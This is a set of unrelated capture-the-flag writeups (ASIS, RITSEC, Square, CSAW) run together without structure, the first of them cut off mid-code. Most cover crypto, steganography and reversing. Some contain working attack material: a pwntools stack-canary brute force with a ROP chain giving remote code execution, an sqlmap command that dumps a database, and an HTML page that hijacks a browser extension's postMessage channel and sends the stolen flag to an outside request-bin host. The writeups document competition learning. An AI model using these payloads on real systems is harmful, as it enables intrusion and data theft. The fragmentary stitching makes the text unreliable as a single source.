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just reverse it，the only thing should notice is the Prime 's Quadratic residue has two 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158989888840455563053336385260929215328179534281491581465424508964664, 224681264929114219318903619535361794988930046368825820132875511392834, 740042265190710035300083902985812877177977062748454850421935672249095, 179759684336849094417814543046273699175825134381370821033830947275120, 695120684598444910398994826496724781364872150760999851322891108131381, 760812060687103566664562060771157361025622662848334089990342110559551, 413454767599878909216397861436980261658281057706664800884086743440901, 831744827689137644587574853445544515935289673108876643136975104208028, 484387534601912987139410654111367416567948067967207354030719737089378, 550078910690571643404977888385799996228698580054541592698170739517548, 202721617603346985956813689051622896861356974912872303591915372398898, 505157330098306518503888811896711900415593668067086593599126175399834, 157800037011081861055724612562534801048252062925417304492870808281184, 223491413099740517321291846836967380709002575012751543160321810709354, 738852413361336333302472130287418462898049591392380573449381971565615]p=862718293348820473429344482784628181556388621521298319395315527974911sqrtH=785232755191570522054580268914288666635203565395845945113513087262967import gmpy2flag=''d=ds[15]for i in range(len(enc)): c=enc[i][0] t=enc[i][1] a=((c-t)*d)%p x=bin(a)[2:].count('1') if x==5: flag+='0' continue a=((-c-t)*d)%p y=bin(a)[2:].count('1') if y==5: flag+='1' continue print x,y,i,bin(enc[i][1]).count('1')print hex(int(flag,2))[2:-1].decode('hex')``` |
# Truncated form (PPC, 208p, 19 solved)
In the task we connect to the server and we have to transform given prime to a very particular format.
For example for prime `p = 868687909307764501147060349605653041999229151489950514965301649295439020807494131325814865675340673135715073631764902639875388586413387565682677871906332667975579403827585630488178998236686725443`
We're supposed to generate `222379878419*457#/5610-1800` where `457#` means `primorial(457)`.
Our approach is fairly simple:
1. Let's iterate over numbers `i` which we will subtract in the end (like -1800 in the example)2. For each of those numbers we factor the `p+i` number into primes (up to some reasonable values)3. For each of the prime factors we calculate primorial and then we find the divisor, which will contain all primes smaller than the factor we're analysing right now, except for the prime factors we found for `p+i`.4. We form the string representation and check if it's short enough. If not, we continute.
```pythonfrom crypto_commons.generic import get_primes, factor_p, long_rangefrom crypto_commons.netcat.netcat_commons import receive_until_match, nc, send, interactive
def solve(p, primes): best = 0 for i in long_range(0, 999999999): factors, res = factor_p(p + i, primes) factors += [res] for j in range(len(factors)): x = factors[j] if x >= primes[-1]: # skip last large factor break primo = primorial(x, False) divisor = 1 for prime in primes: if prime > x: break if prime not in factors: divisor *= prime c = primo / divisor if divisor > p: continue a = (p + i) / c if (a * primorial(x, False) / divisor - i) != p: break result = str(a) + "*" + str(x) + "#/" + str(divisor) + "-" + str(i) if len(result) <= 29: return result return best```
Once we send the right response to the server we get: `ASIS{f2nD_7H3___MaxMerit___!!!!!!}` |
tl;dr:1. Notice path traversal by `....//`2. Notice that file extension filter is applied for the whole `query` and not the GET parameter3. Extract source code
Full writeup: https://github.com/p4-team/ctf/tree/master/2019-11-16-asis-finals/protected_area1 |
tl;dr:1. Notice repeating pattern in place of palette, which suggests zeros2. Notice key is repeated many times3. Notice that you can unxor the key from the flag using the above4. Notice you can brute-force decryption, by encrypting `00000A`, `000000B`... and comparing with ciphertext5. Brute-force the number of flags looking for `tRNS` and `IDAT` in decrypted data6. Brute-force entire flag7. Recover PNG
Full writeup: https://github.com/p4-team/ctf/tree/master/2019-11-16-asis-finals/true_zero |
# RITSEC CTF 2019 – the_doge
* **Category:** stego* **Points:** 100
## Challenge
> Steganography is the practice of concealing messages or information within other nonsecret data and images. The doge holds the information you want, feed the doge a treat to get the hidden message.>> Author: adriannav
## Solution
The challenge gives you an [image](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/RITSEC%20CTF%202019/the_doge/the_doge.jpg).
The text says that you have to *feed the doge a **treat** to get the hidden message*, so probably something is hidden inside the image with *treat* used like a passphrase.
You can use *steghide* to discover the presence of [doge_ctf.txt](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/RITSEC%20CTF%202019/the_doge/doge_ctf.txt) hidden file.
```root@m3ss4p0:~# steghide info the_doge.jpg"the_doge.jpg": format: jpeg capacity: 1,1 KBTry to get information about embedded data ? (y/n) yEnter passphrase: treat embedded file "doge_ctf.txt": size: 23,0 Byte encrypted: no compressed: noroot@m3ss4p0:~# steghide extract -sf the_doge.jpgEnter passphrase: treatwrote extracted data to "doge_ctf.txt".root@m3ss4p0:~# cat doge_ctf.txt RITSEC{hAppY_l1L_doG3}```
The flag is the following.```RITSEC{hAppY_l1L_doG3}``` |
The main is a lie. The actual pass/fail branching occurs in a function called from atexit. ANSI codes are used to clear the fail message and replace it with the success one.
The user input is encrypted from the main function, and checked against a reference. The xor/substitute tables are modified from extra entry points, and will be wrong if you’re running with a non-interactive stdout.
More details here: http://code.alaiwan.org/blog/writeup-thepoint.html |
# 999 bottles - Category: PWN - Rating: Easy
In this challenge we are given 999 ELF files, each one of them accept one ASCCII character, we are supposed to find the right character in order to find the flag.
so brute forcing is the easiest way to do it obviously.
## Solution:
```python from pwn import * import stringcontext.log_level = 'critical'
flag = []
for j in range(1, 1000): for i in string.printable: r = process('./%s.c.out' % str(j).zfill(3)) r.recv() r.send(i) res = r.recv() if 'OK!' in res: flag.append(i) print ''.join(flag) r.close() break r.close()
```by runnig this script we get this:
in a few minutes we can see the flag :
## flag:
`RITSEC{AuT057v}` |
# Talk to me (100p) [ruby]
In this challenge, you're given the address and port to a telnet server. Connecting to it, you get a `Hello!` from the server. When you enter something back, it will either print an error, the message `I wish you would greet me the way I greeted you.` or `I can't understand you`. Experimenting a bit with the inputs, it looks like the code is doing something like `eval(input).match(...)`, except if it detects any letter it will not eval your input, but send the "I can't understand you". [This article](https://threeifbywhiskey.github.io/2014/03/05/non-alphanumeric-ruby-for-fun-and-not-much-else/) describes how you can write ruby code without letters, and since we are able to use the quote sign `'`, we can create strings with the shovel operator trick they describe. After many failed attempts at RCE, I realized that the program actually wanted me to write "Hello!" back. The solution then becomes `''<<72<<101<<108<<108<<111<<33`.
# Aesni (700p) [binary]Opening this binary in a disassembler only shows a single function, which seems to decrypt some code (using the AESENC instruction), then jumping to the decrypted code. Following the code in a debugger, we can see that this loop is actually running multiple times. It exits early if no arguments are given to the program, so we have to provide one. Simply single-stepping through the code, I see that the string `ThIs-iS-fInE` is loaded into a register and used in a comparison. If we give this as a param, the flag is returned.
```root@2f4b836ef375:/ctf/work# ./aesni ThIs-iS-fInEflag-cdce7e89a7607239```
# Decode me (150p) [snake oil]We're given a .pyc file (Python bytecode) and an "encoded" PNG file. The pyc file is easily reversed with uncompyle6 and looks like this:
```pythonimport base64, string, sysfrom random import shuffle
def encode(f, inp): s = string.printable init = lambda : (list(s), []) bag, buf = init() for x in inp: if x not in s: continue while True: r = bag[0] bag.remove(r) diff = (ord(x) - ord(r) + len(s)) % len(s) if diff == 0 or len(bag) == 0: shuffle(buf) f.write(('').join(buf)) f.write('\x00') bag, buf = init() shuffle(bag) else: break
buf.extend(r * (diff - 1)) f.write(r)
shuffle(buf) f.write(('').join(buf))
if __name__ == '__main__': with open(sys.argv[1], 'rb') as (r): w = open(sys.argv[1] + '.enc', 'wb') b64 = base64.b64encode(r.read()) encode(w, b64)```
At first glance, this code looks impossible to reverse due to its heavy use of shuffle(), and the fact that it might terminate early if `diff == 0`, giving blocks that are uneven in length. But the algorithm here is actually fairly straight-forward; base64-encode the input, initialize a permutation of all the printable characters, and *remove* one by one character from the permutation. For each letter you remove, measure the distance to the current input byte, and add (diff-1) of the removed letter to a temporary buffer. That means that if the input was an 'a', and you removed a 'g' from the permutation list, it would add `ord('g')-ord('a')-1` of the letter "g" to the temprary buffer. Once the permutation list is empty, or you run into a situation where the removed letter matches the input, the entire temporary buffer is *shuffled*, then added to the output (followed by a null-byte).
To reverse this, we need to differentiate the removed letters from the temporary buffer in the output. These two form one "block", and there are multiple blocks delimited by a null-byte in the output. Since each letter is actually removed from the permutation when encoding, we can simply take one by one letter until we find a duplicate letter that we've seen before. This marks the divide between `bag` and `buf`. The rest is simply counting the number of occurences of each letter from `bag`, as this will tell us the difference we need to add/subtract to get the real input. Because of the modulo operation, there are some bytes that could be valid ascii both as +100 and -100, but we want the one where the solution lands inside the alphabet used for base64.
The final decoder looks like this:```pythonfrom string import printable
#PNG header b64 iVBORw0KGgb64alpha = map(ord, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=")
b64buf = ""data = open("decodeme.png.enc", "rb").read()
e_counter = 0ix = 0while ix < len(data): r_list = [] while data[ix] not in r_list: r_list.append(data[ix]) ix += 1 try: STOP = ix + data[ix:].index("\x00") except ValueError: STOP = len(data)
buf = data[ix:STOP] for r in r_list: if r == "\x00": continue diff = buf.count(r) + 1 x = (diff + ord(r)) & 0xFF if x not in b64alpha: if 0 > (x - len(printable)): x += len(printable) else: x -= len(printable) if x not in b64alpha: print(x, ix, STOP, len(data), (diff + ord(r))) assert False b64buf += chr(x)
ix = STOP + 1
with open("decodeme.png", "wb") as fd: fd.write(b64buf.decode('base-64'))```
# Inwasmble (200p) [web]
We've given a link to an HTML site, where we're greeted by this box:
At first glance, the code seems to contain nothing
but opening it in a text editor, reveals that it contains a ton of unicode letters that take up no space. The code actually looks like this:
```javascriptvar code = new Uint8Array([0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x02, 0x01, 0x00, 0x05, 0x03, 0x01, 0x00, 0x01, 0x07, 0x15, 0x02, 0x06, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x02, 0x00, 0x08, 0x76, 0x61, 0x6c, 0x69, 0x64, 0x61, 0x74, 0x65, 0x00, 0x00, 0x0a, 0x87, 0x01, 0x01, 0x84, 0x01, 0x01, 0x04, 0x7f, 0x41, 0x00, 0x21, 0x00, 0x02, 0x40, 0x02, 0x40, 0x03, 0x40, 0x20, 0x00, 0x41, 0x20, 0x46, 0x0d, 0x01, 0x41, 0x02, 0x21, 0x02, 0x41, 0x00, 0x21, 0x01, 0x02, 0x40, 0x03, 0x40, 0x20, 0x00, 0x20, 0x01, 0x46, 0x0d, 0x01, 0x20, 0x01, 0x41, 0x04, 0x6c, 0x41, 0x80, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6c, 0x21, 0x02, 0x20, 0x01, 0x41, 0x01, 0x6a, 0x21, 0x01, 0x0c, 0x00, 0x0b, 0x0b, 0x20, 0x00, 0x41, 0x04, 0x6c, 0x41, 0x80, 0x02, 0x6a, 0x20, 0x02, 0x41, 0x01, 0x6a, 0x36, 0x02, 0x00, 0x20, 0x00, 0x2d, 0x00, 0x00, 0x20, 0x00, 0x41, 0x80, 0x01, 0x6a, 0x2d, 0x00, 0x00, 0x73, 0x20, 0x00, 0x41, 0x04, 0x6c, 0x41, 0x80, 0x02, 0x6a, 0x2d, 0x00, 0x00, 0x47, 0x0d, 0x02, 0x20, 0x00, 0x41, 0x01, 0x6a, 0x21, 0x00, 0x0c, 0x00, 0x0b, 0x0b, 0x41, 0x01, 0x0f, 0x0b, 0x41, 0x00, 0x0b, 0x0b, 0x27, 0x01, 0x00, 0x41, 0x80, 0x01, 0x0b, 0x20, 0x4a, 0x6a, 0x5b, 0x60, 0xa0, 0x64, 0x92, 0x7d, 0xcf, 0x42, 0xeb, 0x46, 0x00, 0x17, 0xfd, 0x50, 0x31, 0x67, 0x1f, 0x27, 0x76, 0x77, 0x4e, 0x31, 0x94, 0x0e, 0x67, 0x03, 0xda, 0x19, 0xbc, 0x51]);var wa = new WebAssembly.Instance(new WebAssembly.Module(code));var buf = new Uint8Array(wa.exports.memory.buffer);async function go() { sizes = [...[...Array(4)].keys()].map(x => x * 128); buf.set(x.value.substr(sizes[0], sizes[1]) .padEnd(sizes[1]) .split('') .map(x => x.charCodeAt(''))); if (wa.exports.validate()) { hash = await window.crypto.subtle.digest("SHA-1", buf.slice(sizes[2], sizes[3])); r.innerText = "\uD83D\uDEA9 flag-" + [...new Uint8Array(hash)].map(x => x.toString(16)) .join(''); } else { r.innerHTML = x.value == "" ? " " : "\u26D4"; }}```
which, after running it through `wasm2js` from [binaryen](https://github.com/WebAssembly/binaryen), looks more like this
```javascriptfunction $0() { var $i = 0, $1 = 0, $2 = 0; $i = 0; label$1 : { label$2 : { label$3 : while (1) { if (($i) == (32)) { break label$2 } $2 = 2; $1 = 0; label$4 : { label$5 : while (1) { if (($i) == ($1)) { break label$4 } $2 = Math_imul(HEAP32[(Math_imul($1, 4) + 256) >> 2], $2); $1 = $1 + 1; continue label$5; }; } HEAP32[(Math_imul($i, 4) + 256) >> 2] = $2 + 1; if (((HEAPU8[$i]) ^ (HEAPU8[($i + 128)])) != (HEAPU8[(Math_imul($i, 4) + 256)])) { break label$1 } $i = $i + 1; continue label$3; }; } return 1; } return 0; }```
where the global buffer at index 128 is set to the string of "SmpbYKBkkn3PQutGABf9UDFnHyd2d04xlA5nA9oZvFE=" (after base64 decoding).
A simple Python equivalent, which totally doesn't have an overflow that makes it super slow to run, can be seen here:
```pythonbuffer = [0] * 65536buf_128 = "SmpbYKBkkn3PQutGABf9UDFnHyd2d04xlA5nA9oZvFE=".decode('base-64')
i, var1, var2 = 0, 0, 0flag = ""
while True: if i == 32: break var2 = 2 var1 = 0 while True: if i == var1: break var2 = buffer[(var1*4+256)>>2] * var2 var1 += 1 buffer[(i*4+256)>>2] = var2 + 1 flag += chr(((var2 + 1) ^ ord(buf_128[i])) & 0xFF) i += 1 print(flag)```
this eventually prints out `Impossible is for the unwilling.`, and entering this into the box gives our flag.
# Lockbox (600p) [go, web]
We're given an image with the URL `https://lockbox-6ebc413cec10999c.squarectf.com/?id=3` on it, and the source code to a Golang website for storing time-locked secrets. To upload a secret, you need to enter a time when your message should be decryptable, and a captcha. When you want to read a message, you need to provide both the id and the hmac of the data, and the current server time must be greater than the given timelock time. The crypto and time check alone seem good enough, and there's no glaring vulnerabilities there we can immediately use. (They are using a very bad IV, and not verifying the consistency of all the parameters together, but we can't get to the key or trick the server time into being anything else).
However, the captcha is generated in your session, but instead of giving the letters to you, they give them in an encrypted form. The `/captcha` end-point is able to decrypt this captcha message, and display it to you. So the end-point is basically a decryption oracle. If we can obtain an encrypted message, we can decrypt it with the captcha oracle, and by increasing the width parameter we can see all the letters in the output.
The `id` parameter is also being used directly inside an SQL query with no attempts at sanitation, and exploiting this is trivial. For maximum ease, I just used sqlmap for this, and the final command looked like this
`$ python sqlmap.py -o -u "https://lockbox-6ebc413cec10999c.squarectf.com/?id=3" --random-agent -D primary_app_db -T texts --dump`
```+----+--------------------------------------------------------------------------------------------------------------------------------------------------------+------------+| id | data | lock |+----+--------------------------------------------------------------------------------------------------------------------------------------------------------+------------+| 1 | TIJlneBxX-6sr4kUQdw0idCcoDh-t0lj5fU9e3cgU_gmLOZ96NrvxRe32o0wWrPJsv_66ACUTgPL_ewvHxMvOn2AGZl2opQO15rOjfkiw1lAEzhtK62J2Ce3T-SyzCpzSPSwQM6OdoF9HeZCH_xqFg | 1570492800 || 2 | P2HVNdfiXhJVnbjE70yqC2fLS8Cez0bxvfoDfDn5FRo8nAVU_R5ZTblcj5CgLw_qtM_D3zgWElLmeFqIGZwq49kgI-rvlR_tKXmFMVGbkVaTeEy6V0JM9EiRthnlIEjAq_L8Qs9WTBWZ2nzZrs57Mw | 1570665600 || 3 | Nw12G_0K_xYt4ZR3mO7cKuc5CFrrszCysLZrLgxhoGcakkjTs7x86DotIiD5fzgSZYK-zX3bWTE-dEJrmPBlgQ | 1602288000 |+----+--------------------------------------------------------------------------------------------------------------------------------------------------------+------------+```
decrypting it can be done by entering message 3 like `https://lockbox-6ebc413cec10999c.squarectf.com/captcha?w=700&c=Nw12G_0K_xYt4ZR3mO7cKuc5CFrrszCysLZrLgxhoGcakkjTs7x86DotIiD5fzgSZYK-zX3bWTE-dEJrmPBlgQ` and we get the flag as an image:
# Go cipher (1000p) [go, not web]We are given a piece of Golang code, and a bunch of ciphertext/plaintext pairs. The flag ciphertext has no plaintext component, and all ciphertexts are in hex form. Going through the code, there are a few things to notice:
1. The md5sum of the key is written at the start of each ciphertext. The only ciphertext that has a key match with the flag, is "story4.txt.enc".2. The key consists of 3 64-bit numbers; x, y and z.3. Our output is simply `(input - x) ^ y ^ z` where the lowest 8 bits of x/y/z are used.4. x is bitwise rotated 1 step to the right, and y/z are both rotated 1 step to the left. This means that y and z are shifting equally, and since the ouput is just XORed with both, we could replace them with k=y^z and treat it as a single number.
I used Z3 to recover some key that successfully encrypts `story4.txt` into the known bytes in `story4.txt.enc`. Getting the exact original key is not necessary.
```pythonfrom z3 import *
def rotl(num, bits): bit = num & (1 << (bits-1)) num <<= 1 if(bit): num |= 1 num &= (2**bits-1)
return num
def rotr(num, bits): num &= (2**bits-1) bit = num & 1 num >>= 1 if(bit): num |= (1 << (bits-1))
return num
x_org = BitVec("x", 64)y_org = BitVec("y", 64)z_org = BitVec("z", 64)
x, y, z = x_org, y_org, z_orgdata_enc = map(ord, open("story4.txt.enc").read()[32:].decode('hex'))data_dec = map(ord, open("story4.txt").read())
assert len(data_enc) == len(data_dec)
s = Solver()for i in xrange(len(data_dec)): s.add( ((data_dec[i] - (x&0xFF)) ^ (y&0xFF) ^ (z&0xFF)) &0xFF == data_enc[i]) x = RotateRight(x, 1) y = RotateLeft(y, 1) z = RotateLeft(z, 1)
if s.check() == sat: m = s.model() xx = m[x_org].as_long() yy = m[y_org].as_long() zz = m[z_org].as_long() flag_enc = map(ord, open("flag.txt.enc").read()[32:].decode('hex')) flag_dec = "" for e in flag_enc: flag_dec += chr( ((e ^ (yy&0xFF) ^ (zz&0xFF)) + xx&0xFF) & 0xFF ) xx=rotr(xx, 64) yy=rotl(yy, 64) zz=rotl(zz, 64) print(flag_dec)```
Prints `Yes, you did it! flag-742CF8ED6A2BF55807B14719`
# 20.pl (500p) [perl, cryptography]
Deobfuscating the script gives something like this```perl#!/usr/bin/perl
print( "usage: echo <plaintext|ciphertext> | $0 <key>" ) && exit unless scalar @ARGV;$/ = \1;use constant H => 128;@key = split "", $ARGV[0];for ( @a = [], $i = H ; $i-- ; $a[$i] = $i ) { }for ( $j = $i = 0 ; $i < H ; $i++ ) { $j += $a[$i] + ord $key[ $i % 16 ]; ( $a[$i], $a[ $j % H ] ) = ( $a[ $j % H ], $a[$i] );}
for ( $i = $j = $m = 0 ; <STDIN> ; print chr( ord $_ ^ $l ^ $m ) ) { $j += $a[ ++$i % H ]; ( $a[ $i % H ], $a[ $j % H ] ) = ( $a[ $j % H ], $a[ $i % H ] ); $l = $a[ ( $a[ $i % H ] + $a[ $j % H ] ) % H ]; $m = ( ord( $key[ $i / 64 % 16 ] ) << $i ) & 0xff; $x = $i / 64 % 16;} # -- Alok```
It initializes some array with values 0..128, then permutes that array based on the key (which is up to 16 bytes long). Finally, it continues to permute the array and XORs the input with elements from the array. This has all the hallmarks of RC4, except it doesn't operate on values up to 255. What this means, is that `$l` is never larger than 127, and thus the top bit of the input is never touched by XOR with `$l`. However, the input is also XORed with an `$m`, which contains a byte of the key, but shifted upwards.
Looking at the top bit of 8 consecutive bytes, will immediately give out one byte of the key, *provided that the original input was ASCII* - as printable ASCII does not have the top bit set either. Our target file is a PDF, which contain mixed ASCII parts and binary streams, and our goal is then to try to find a long enough stretch of ASCII that we can recover the key. I experimented a bit with various offsets into the code, and quickly learnt that the key was only hexadecimal letters. This narrowed the scope of candidate letters by quite a lot, and near the end of the PDF I was able to find something that decode into a key that worked.
```pythonimport operator
printable = "01234567890abcdef"
data = open("flag.pdf.enc","rb").read()
all_cands = [{} for _ in xrange(16)]
for block in range(700, len(data)//(64*16)): for i in xrange(16): cands = {} for j in xrange(8): keychar = "" for k in xrange(8): ix = (block*64*16) + i*64 + j*8 + k keychar += "1" if ord(data[ix])&0x80 else "0" c = chr(int(keychar, 2) >> 1) if c in printable: cands[c] = cands.get(c,0) + 1
for k, v in cands.iteritems(): all_cands[i][k] = all_cands[i].get(k,0) + v
key = ""
for cand in all_cands: sorted_cands = sorted(cand.iteritems(), key=operator.itemgetter(1), reverse=True) print(sorted_cands[:3]) key += sorted_cands[0][0]
print(key)```
Now we just run `cat flag.pdf.enc | perl5.20.1 20.pl 4600e0ca7e616da0 > flag.pdf` and we get the flag back. |
[](ctf=csaw-finals-2019)[](type=reverse)[](tags=ida,brtueforce)[](tools=ida)
# pwn 200
Description
```Hello, fresh recruit.
nc pwn.chal.csaw.io 1003```
Binary is small, x64, c++ compiled with very little features.
It lets you input a buffer which can be copied to a stack buffer or compared toit.
The write is not limited to size, so its very easy to overflow the stack buffer.But canaries are present on the stack. We can use the compare feature to bruteforce canary byte by byte.
Binary has PIE enabled too, we can leak base or libc addresses too from thestack using the same technique. This will help us craft a ROP with one_gadgetto achieve RCE.
```python# -*- coding: UTF-8 -*-from pwn import *context.arch = "amd64"# context.binary = "/tmp/csaw/a.out"# context.log_level = "debug"p = process( "/tmp/host/csaw/a.out", env={ "LD_PRELOAD": "/tmp/host/csaw/libc-2.27.so"})raw_input()# p = remote("pwn.chal.csaw.io", 1003)# g = gdb.attach(p, "canary\n context\n vmmap\n continue")
def copy(s): p.sendline(str(2)) p.sendline(str(len(s))) p.sendline(s)
def check(s): p.sendline(str(1)) p.sendline(str(len(s))) p.sendline(s) return "found" in p.recvline()
bf = "A" * 9copy(bf)"""00:0000│ rsp 0x7fffffffde90 ◂— 0x201:0008│ 0x7fffffffde98 ◂— 0x55555bcd02:0010│ 0x7fffffffdea0 ◂— 0xbebafecaefbeadde03:0018│ 0x7fffffffdea8 ◂— 0xbd6d636b76b2a70004:0020│ rbp 0x7fffffffdeb0 —▸ 0x7fffffffded0 —▸ 0x555555555b80 (__libc_csu_init) ◂— endbr6405:0028│ 0x7fffffffdeb8 —▸ 0x555555555053 (main+60) ◂— mov eax, 006:0030│ 0x7fffffffdec0 ◂— '\n\n\n\n\n\n\n\n'07:0038│ 0x7fffffffdec8 ◂— 0xbd6d636b76b2a700"""
# leak canarysp = set(['\t', ' ', '\n', '\x0b', '\x0c', '\r'])for j in xrange(7): for i in xrange(1, 256): if chr(i) not in sp: if(check(bf + chr(i))): bf += chr(i) break
canary = unpack("\x00" + bf[9:])success(hex(canary))
bf = "A" * 56copy(bf)for j in xrange(6): for i in xrange(256): if chr(i) not in sp: if(check(bf + chr(i))): bf += chr(i) break
libc = unpack(bf[56:] + "\x00\x00")success(hex(libc))
pay = flat(0xdeadbeefdeadbeef, canary, 0xdeadbeefdeadbeef, 0x10a38c + (libc - 0x21b97), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)context.log_level = "debug"copy(pay)
p.interactive()``` |
[](ctf=csaw-finals-2019)[](type=reverse)[](tags=ida)[](tools=ida)
# counting (re-200)
[Binary](../counting)
The flag was referenced in different functions to check one byte each. IDA xrefsdid not work properly. So we just grep over the disassembly to find all 30bytes in the flag.
```pythonfrom idautils import *from idaapi import *from idc import *from sark import *flag = [32 for i in xrange(32)]
for segea in Segments(): for funcea in Functions(segea, SegEnd(segea)): functionName = GetFunctionName(funcea) print functionName f = Function(funcea) last_idx = 0 for line in f.lines: if "cs:flag" in line.disasm: if "+" in line.disasm: last_idx = int(line.disasm.split("+")[1].replace("h", ""), 16) elif "sub cl" in line.disasm: try: print last_idx b = int(line.disasm.split(",")[1].replace("h", ""), 16) flag[last_idx] = b except: pass
for i, j in enumerate("flag{"): flag[i] = ord(j)
flag[30] = ord("}")
print "".join(map(chr,flag))``` |
# Easiest crackme - 200
## About the challengeWe were given a Chromium plugin and we were told the target had the same on their system. The plugin contained three different flags, progressing in difficulty.
The plugin basically connected a crackme (inside the plugin’s folder) and attached gdb to it. When given the correct password it would give you the flag. We also were given a page to send a link to the target and a webservice to verify the crackme’s password.
## Getting the first flagTo get the flag, we needed to first get the password for the crackme. Upon inspection with Ghidra we discovered the password was “web2hard”, and when sent to the webservice (crackme.web.chal.csaw.io) the plugin responded with the fake-flag that was given us (thus confirming it was correct).
### How do we get the real flag from the target?In a normal situation we would’ve simply created a webpage to trick the target’s plugin in spewing out the flag, but we had some limitations here.```"content_scripts": [ { "matches": ["http://crackme.web.chal.csaw.io/"], "run_at": "document_start", "js": ["app.js"], "all_frames" :true } ], "web_accessible_resources":["api.js"],```
Looking at the plugin’s manifest we noticed that the script responsible for the debugging was injected only on http://crackme.web.chal.csaw.io/. This meant we couldn’t simply make a page and trigger the plugin. As you can notice from the code, api.js was accessible but it didn’t work without app.js. We searched methods to bypass fool Chromium into thinking we were in the right page without success.
So we looked around in the code and found that the plugin sent data around using postmessage, even the flag! The fact that it sent data using “*” as a target origin and it didn’t check the origin of the postmessage(while listening on "message") confirmed this was the right path.```function send_to_app(msg) { return new Promise(resolve => { msg.id = msg_id; msg.from = 'page'; messages[msg_id++] = resolve; window.postMessage(msg, '*'); });}```
```window.addEventListener("message", function(event) { let msg = event.data; if (msg.id === undefined || msg.from !== "extension") return; messages[msg.id](msg);});```
### How can we communicate via postmessage?There was no way to communicate with other pages via this method. But turns out that iframes can communicate with their parent pages through window.postmessage, this meant that including the webservice with an iframe would effectively bypass the manifest’s check! We then wrote a webpage that would send the resulting output to our Requestbin.```<html> <head> <script type="text/javascript"> window.onload = function () { var myiframe = document.getElementById("myiframe").contentWindow; msg = {}; msg.id = 1; msg.from = 'page'; msg.type = 'start'; msg.args = ['web2hard']; myiframe.postMessage(msg, '*'); setTimeout(() => { msg = {}; msg.id = 2; msg.from = 'page'; msg.type = 'run'; myiframe.postMessage(msg, '*'); }, 5000);
console.stdlog = console.log.bind(console); console.logs = []; console.log = function () { console.logs.push(Array.from(arguments)); console.stdlog.apply(console, arguments); fetch(`https://xxxxxxxxx.x.pipedream.net?${JSON.stringify(console.logs[1][0].data.output)}`); }
window.addEventListener("message", displayMessage, false); } function displayMessage(evt) { console.log(evt); } </script> </head> <body> <iframe id="myiframe" src="http://crackme.web.chal.csaw.io/"> </body></html>```And sure enough here’s our flag!>Congrats! Here is your flag: flag{post_msg_delivers_flag}
## Some words on the second flagTo get the second flag we had to be able to get a XSS. Why?
Because the flag was contained in the plugin as a simple text file. Files inside plugins are accessible like normal URLs, so visiting >chrome-extension://dhmimogfeikijkmaadppammcbjflkpof/flag2.txt
would actually give us the flag.
We didn’t get the second flag during the competition because we couldn’t find where to reflect to get a XSS. In retrospection it was actually really easy since there was only one input (the password) and it reflected in the plugin’s debugger page (since strings appearing in the stack where printed). We could even control the debugger via some specific commands sent via postmessage, allowing us to break at the point we needed to print our XSS payload. This means that we could’ve wrote a script that simply accessed the URL and sent the results to our Requestbin.
Moral of the story: **Think of every place where your input can reflect!** |
# findme // Writeup
## Problem
*Find me! Challenge created by Security Risk Advisors for RITSEC CTF*
## Solution
Open the dumped network traffic with Wireshark for example. Don't look at the base64 encoded image or you will get rick-rolled.
If you decode the client packet you will get a youtube video and it's useless.
`aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj1kUXc0dzlXZ1hjUQo=`
But if you decode the server client you will get a gzip compressed data file.
`H4sIAFSZx10AA+3OMQuCQBiH8Zv9FPcFgrvUcw2kIWgydzG1EkQPvZui757S0lSTRPD8lmd43+F/6cqrWJmaGRMt1Ums3vtitkKHsdGJDqNtKJSeGwup1h628JMrRymFP/ve+Q9/X+5/Kjvkp316t1Vpp0KNReuKuq17V9x21jb9IwjSPDtuKukGWXXD1AS/XgwAAAAAAAAAAAAAAAAAWDwB38XEewAoAAA=`
So uncompress it, `mv new_file new_file.gz ; gunzip -d new_file.gz`. After that you will get a tar archived file.
Extract it : `tar -xvf new_file`, you will get `flag` file, so , `cat flag`. |
The challenge tells us that ‘sharing is caring!’ and it was just hinting that the challenge was about a secret sharing scheme. The goal was to recover the secret under certain conditions, the most basic one is that we can only get up to threshold-1 shares (otherwise the challenge would be about doing calculations), however, we were able to find an additional free share and thus recover the secret really easily. |
> Snake>> 253>> Hercules travelled to the city of snakes to find a venomous, snake which lived underwater. For this task, > Hercules was given a handbook and a mysterious box in order to find out about the snake.> Can you help him to find the way to defeat the snake?> > You need this information to solve the task:> > File: /bin/bash>> Size: 1113504 Blocks: 2176 IO Block: 4096 regular file>> Device: 806h/2054d Inode: 1050418 Links: 1>> Access: (0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)>> Access: 2019-11-16 00:09:47.788589318 +0330>> Modify: 2019-06-07 02:58:15.000000000 +0430>> Change: 2019-07-09 09:30:05.424100060 +0430>> Birth: -> > Download: [venomous_snake.txz](https://0xd13a.github.io/ctfs/asis2019/snake/venomous_snake.txz)
This is another reversing challenge, but decoding of the flag requires a lot of dynamic operations, so we will use Ghidra together with GDB or EDB.
Close inspection reveals a number of interesting functions:
* ```FUN_001012f5()``` is the main function where all processing happens* ```FUN_00101102()``` does some intial checks on the correctness of the environment* ```FUN_00100d6a()``` initializes internal structures for decryption functions* ```FUN_00100dcb()``` decrypts piece of data correctly only when conditions are right* ```FUN_00100ec2()``` decrypts piece of data independent of whether the conditions are set correctly (less important data is decoded using it)* ```FUN_00100fb6()``` decodes the shell script that will produce the flag
Let's annotate the main function with notes of how to carefully step over dangerous parts:
```c
...
undefined * FUN_001012f5(uint param_1,char **param_2){
...
// This function checks the integrity of its own code, so the presence// of the breakpoint could mess things up - we can use hardware // breakpoints, or step over this function altogether. local_3c = FUN_00101102((ulong)param_1); FUN_00100d6a(); FUN_00100dcb(&DAT_0030238c,0x100); // Decode a message about executable being expired FUN_00100ec2(&DAT_003024d6,0x3c);
